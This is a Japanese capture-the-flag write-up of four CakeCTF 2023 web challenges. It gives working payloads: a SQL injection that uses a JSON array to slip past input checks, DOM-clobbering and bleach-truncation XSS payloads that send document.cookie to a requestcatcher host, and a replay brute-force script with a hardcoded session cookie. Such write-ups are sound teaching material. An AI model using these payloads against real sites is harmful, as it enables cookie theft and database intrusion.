チームhamayanhamayanでソロ参加してました。
[web] Country DB
フラグを探すと、init_db.pyに書いてあるように、DBの中に入っている。
conn.execute("""CREATE TABLE flag ( flag TEXT NOT NULL );""") conn.execute(f"INSERT INTO flag VALUES (?)", (FLAG,))
app.pyにSQL Injectionできそうなポイントがあるので、ここを攻撃することを目指す。
def db_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT name FROM country WHERE code=UPPER('{code}')") found = cur.fetchone() return None if found is None else found[0]
差し込まれているcodeはPOST /api/search
から来ていて、以下のようにバリデーションが走っている。
@app.route('/api/search', methods=['POST']) def api_search(): req = flask.request.get_json() if 'code' not in req: flask.abort(400, "Empty country code") code = req['code'] if len(code) != 2 or "'" in code: flask.abort(400, "Invalid country code") name = db_search(code) if name is None: flask.abort(404, "No such country") return {'name': name}
jsonで受け取ってcodeを取得している。
型については確認されていないのでstringではなく、arrayでも渡すことができる。
arrayで渡すことでif len(code) != 2 or "'" in code:
をうまくかわすことができる。
つまり、{"code":["a","b"]}
のようにすれば、判定を回避することができ、想定以上の情報を送り込むことができそうである。
>>> import json >>> req = json.loads('{"code":["a","b"]}') >>> code = req['code'] >>> code ['a', 'b'] >>> len(code) != 2 or "'" in code False
これが文字列に埋め込まれるとどういった挙動になるだろうか。
>>> f"SELECT name FROM country WHERE code=UPPER('{code}')" "SELECT name FROM country WHERE code=UPPER('['a', 'b']')"
このように良い感じに'
が追加され、配列としてそのまま埋め込まれる。
これを良い感じに調整して、SQL Injectionしていこう。
{"code":[") union select flag from flag -- ac","a"]}
これを送るとフラグが手に入る
SELECT name FROM country WHERE code=UPPER('[') union select flag from flag -- ac', 'a']')
という感じになって
--
以下はコメントアウトされて、SELECT name FROM country WHERE code=UPPER('[') union select flag from flag
で
unionでいい感じに連結されてフラグが手に入る。
curlでやるなら curl -X POST -H "Content-Type: application/json" -d '{"code":[") union select flag from flag -- ac","a"]}' http://countrydb.2023.cakectf.com:8020/api/search
[web] AdBlog
XSSしてcookieを抜き取るのがゴールの問題。
adminに報告できるのは/blog/<blog_id>
のエンドポイントだけなので、ここでXSSできそうな所を探す。
service/templates/blog.html
を巡回しても、テンプレートで|safe
付きのそのまま出力されている所は見当たらない。
最初はlet content = DOMPurify.sanitize(atob("{{ content }}"));
が怪しいと思って、"
が何とかcontentで作れるのでは…という方面で時間を溶かしてしまったが、そういうことではなかった。
しかし、正答への道はそのjavascriptコードにある。
<script> let content = DOMPurify.sanitize(atob("{{ content }}")); document.getElementById("content").innerHTML = content; window.onload = async () => { if (await detectAdBlock()) { showOverlay = () => { document.getElementById("ad-overlay").style.width = "100%"; }; } if (typeof showOverlay === 'undefined') { document.getElementById("ad").style.display = "block"; } else { setTimeout(showOverlay, 1000); } } </script>
このコードを冷静に上から見返すと解けなかったトラウマの如く、SECCON CTF 2023 Qualsのblinkがフラッシュバックしてきた。
そうです。
setIntervalで文字列を入れ込むと任意コード実行できるというアレです。
同じくsetTimeoutも文字列で実行できます。
つまり、setTimeout(showOverlay, 1000);
で実行させるためにjavascriptコードをshowOverlayに入れ込むことが要求される。
この問題はblinkと方針は同じで、その上の以下コードでHTMLが埋め込めるのでDOM ClobberingでshowOverlayを用意して埋め込む。
アドブロックを使っているとそっちで上書きされてしまうので注意。笑
アドブロックの検知コードを初めて見たが、なるほど。
let content = DOMPurify.sanitize(atob("{{ content }}")); document.getElementById("content").innerHTML = content;
blinkと流れは同じでContentに<a id=showOverlay href="cid:alert(1)"></a>
とすればアラートがホップする。
以下をContentとして送ってcookieを抜き取った。
<a id=showOverlay href="cid:navigator.sendBeacon('https://[yours].requestcatcher.com/test',document.cookie);"></a>
[web] [cheat] TOWFL
100問、4択の選択式問題が与えられる。
全問正解するとフラグがもらえる。
service/app.py
を読んでいくと以下のようにリプレイ攻撃対策がなされている。
# Prevent reply attack
flask.session.clear()
つまり、同じ問題セットに対して複数回の回答が認められていない。
…が、適当に再利用してみると使えた。
リプレイ攻撃で回答を全探索していこう。
import requests import json import time BASE = 'http://towfl.2023.cakectf.com:8888' SESSION = '.eJwFwYENgDAIBMBdmKAt5Atu0wdMnMG4u3ev9FNySSXoVMxcGyetCFcnswdAaoT68n3OvIvWmKrtUTWS5mEl3w8aARUL.ZU8frw.fWQIbsHukmvytROrTC5z4Cx4UqM' def get(ans): requests.post(BASE + '/api/submit', json=ans, cookies={'session': SESSION}) t = requests.get(BASE + '/api/score', cookies={'session': SESSION}).text score = json.loads(t)['data']['score'] if "CTF{" in t: print(t) return score ans = [[None for i in range(10)] for j in range(10)] current_point = get(ans) for i in range(10): for j in range(10): for c in range(4): ans[i][j] = c nxt_point = get(ans) time.sleep(1) if current_point < nxt_point: current_point = nxt_point print(f"ok! {current_point}") break
前問で時間を溶かしてスピードランの面白味もない順位になってしまっていたので、
1秒waitでじっくり待つとフラグがもらえる。
session消せそうだけどなーと思いながら、自分の記事を見返すとなんだかんだ使えるっぽい。
確かにCookieをデコードしてみるとeidが保存されていた。
https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)Zlib_Inflate(0,0,'Adaptive',false,false)&input=ZUp3RndZRU5nREFJQk1CZG1LQXQ1QXR1MHdkTW5NRzR1M2V2OUZOeVNTWG9WTXhjR3lldENGY25zd2RBYW9UNjhuM092SXZXbUtydFVUV1M1bUVsM3c4YUFSVUw
[web] OpenBio 2
XSSしてCookieを抜き出す問題。
pythonのbleachというライブラリで入力がサニタイズされている。
現在は開発が止まっているようだが、セキュリティパッチ対応はするとのことでかなり偉い。
(この投稿にthumb downが付いているのを見ると現実の悲しさを感じる)
issueを見ても気になるものはない。
言及のある使われているhtml5lib-pythonも使えそうなissueはなかった。
改めてXSSできそうな部分を見てみよう。
シンク(XSSコードの出力場所)から順番に遡って見ていこう。
service/templates/bio.html
を見ると<div id="bio">{{ bio1 | safe }}{{ bio2 | safe }}</div>
という箇所があり、|safe
の2箇所で差し込みが行える。
bio1,bio2は以下のようにbleachによってサニタイズされて出力される。
bio1 = bleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000] bio2 = bleach.linkify(bleach.clean(bio['bio2'], strip=True))[:10000]
そして入力時には以下のようなバリデーションが存在している。
elif len(bio1) > 1001 or len(bio2) > 1001: err = "Bio is too long"
bleachのlinkify, cleanで色々実験してみるが、良い感じにbypassできそうな出力は得られなかった。
ここから違和感を深堀する作業となるが、色々頑張って、以下の疑問の組み合わせでXSSにかなり近づく。
まず、linkifyというなじみのない機能を深堀すると、
test.example.com
というのを入力すると<a href="http://test.example.com" rel="nofollow">test.example.com</a>
のようにタグ化してくれる機能となる。
<
をいかに入力するかがXSSに向けたテーマなので、とても使えそうな機能である。
この変換の後、[:10000]
で文字が丸めこまれるので、<a href="http://test.example.com" rel="nofollow">test.example.com</a>
をうまく丸めこんで
<a href="http://test.example.com" rel="nofollow">test.example.com<
のようにできれば、そのあとに入力した文字列をタグの中身として扱うことができるようになる。
埋め込みの構図が<div id="bio">{{ bio1 | safe }}{{ bio2 | safe }}</div>
であることを考慮すると、<
だけを作るのをbio1で達成できれば、bio2でタグの中身を自由に記述することができる。
<
を作る
まずは最終的な変換文字列が10000文字以上になるように、
1001文字以下に限定されている入力を増幅させる方法を探す。
10倍は増幅する必要がある。
まず、リンクに変換する機能を使うことで大分増える。
s.jp -> 4 <a href="http://s.jp" rel="nofollow">s.jp</a> -> 45
10倍以上になっているのでかなりよさそうではあるが、
s.jps.jp -> 8 <a href="http://s.jps.jp" rel="nofollow">s.jps.jp</a> -> 53
以下のように単純にくっつけるだけではダメ。
;s.jp;s.jp -> 10 ;<a href="http://s.jp" rel="nofollow">s.jp</a>;<a href="http://s.jp" rel="nofollow">s.jp</a> -> 92
このように記号を間に挟むと別のものになっていい感じに増えてくれるが、これでは10倍に届かない。
さて、どうするか…と考えると、実はlinkifyの前に差し込まれているcleanが役に立つ。
cleanの段階で&
を入れると&
に変換される。
これを使うと、もう少しスコアを伸ばせる。
&s.jp&s.jp -> 10 &<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a> -> 100
10倍にまで引き上げることができた!
これでパーツは手に入ったので、<>
もHTML Entityに変換されることも活用して、bio1に'>'+'<s.jp'*1+'&s.jp'*199
を入力してみよう。
これは長さが1001文字なのでセーフ。
するとbleach.linkify(bleach.clean(bio['bio1'], strip=True))[:10000]
の最終的な出力はこうなる。
><<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp</a>&<a href="http://s.jp" rel="nofollow">s.jp<
注目すべきは最後の部分で<
で終えることができている。
この状態でbio2にimg src=x onerror=alert(1)
を入れてみるとアラートがpopupする。
ok.
という訳で以下を送ればフラグがもらえる。
bio2でlinkifyが邪魔をしないようにドメインを文字列分割している。
bio1 -> '>'+'<s.jp'*1+'&s.jp'*199 bio2 -> 'img src=x onerror="navigator.sendBeacon(\'https://[yours].requestcatcher\'+\'.com/test\',document.cookie);"'